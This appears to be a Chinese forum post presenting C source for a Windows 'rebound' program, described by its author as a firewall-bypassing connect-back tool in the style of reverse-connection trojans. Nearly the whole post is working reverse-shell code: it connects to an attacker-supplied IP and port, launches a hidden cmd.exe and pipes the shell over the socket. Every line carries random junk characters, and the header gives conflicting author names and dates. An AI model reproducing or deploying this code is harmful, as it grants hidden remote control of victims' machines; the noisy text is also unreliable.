这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sU>*S$X8
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/* ============================== ^E9@L??
Rebound port in Windows NT vUW !
By wind,2006/7 J[9jNCq|
===============================*/ PW}Yts7p
#include 7>.^GD
#include dsh}-'>
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#pragma comment(lib,"wsock32.lib") twJck~l~n
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void OutputShell(); 7|2:;5:U
SOCKET sClient; zdY`c
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {MIs%w.G
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void main(int argc,char **argv) @x)z" )>
{ }JI5,d
WSADATA stWsaData; Tux~4W
int nRet; VRD2e
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SOCKADDR_IN stSaiClient,stSaiServer; Rq;R{a
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if(argc != 3) &4]%&mX)-
{ ?9AByg
printf("Useage:\n\rRebound DestIP DestPort\n"); r8@:Ko= a
return; 5t0$nKah]
} py)V7*CgH
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WSAStartup(MAKEWORD(2,2),&stWsaData); X2s=~)`#c
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y1P ?A]v
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stSaiClient.sin_family = AF_INET; z.7 UfLV9
stSaiClient.sin_port = htons(0); .sCo,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4/HyO\?z5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (xq25;|Y
{ N-lXC"{)
printf("Bind Socket Failed!\n"); 7kleBDDT
return; >&p_G0-
} >:8GU f*
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stSaiServer.sin_family = AF_INET; ^lbOv}C*
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aMT&}3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h}.0Ne
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) CI
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{ )R,*>-OPJL
printf("Connect Error!"); XVE(p3-
return; E+csK*A7
} jR*1%.Ng
OutputShell(); s!uewS.
} e>X&[\T
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void OutputShell() iw<+rh*C
{ <{:$]3
char szBuff[1024]; ,}F{V>dhn
SECURITY_ATTRIBUTES stSecurityAttributes; m8#+w0p)
OSVERSIONINFO stOsversionInfo; Tj@s \@hv
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; NkA|T1w7
STARTUPINFO stStartupInfo; } D{y
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char *szShell; dKi+~m'w
PROCESS_INFORMATION stProcessInformation; ,accw}G
unsigned long lBytesRead; nu|;(ly
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c2-NXSjsW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q>?uB4>^
stSecurityAttributes.lpSecurityDescriptor = 0; fMP$o3;
stSecurityAttributes.bInheritHandle = TRUE; {H=DeQ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ok iI:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R^{Ow
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E0o=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &J,MJ{w6"
stStartupInfo.wShowWindow = SW_HIDE; ]KBzuz%
stStartupInfo.hStdInput = hReadPipe; !:'%'@uc
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tn>$5}^;
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GetVersionEx(&stOsversionInfo); 8F9sKRq|rO
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switch(stOsversionInfo.dwPlatformId) 9~J
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case 1: cNZuwS~,
szShell = "command.com"; X-[_g!pV
break; s2s}5b3
default: S].=gR0:
szShell = "cmd.exe"; C+/D!ZH%P
break; {eR,a-D!7
} DkO>?n:-C
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >icK]W
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send(sClient,szMsg,77,0); r{~K8!=oU]
while(1) ]stAC3
{ ;D5B$ @W>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VU>s{_|{
if(lBytesRead) ,nMc.
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{ 1zE_ SNx
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,O=@I
send(sClient,szBuff,lBytesRead,0); 'WH@Zk/l
} $;<h<#_n;
else w}Q|*!?_
{ !"E&Tk}
lBytesRead=recv(sClient,szBuff,1024,0); Ugmg,~U~k
if(lBytesRead<=0) break; h[d|y_)f
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H9)$ #r6i
}
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} fT.5@RR7^
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return; Py(l+Ik`>
}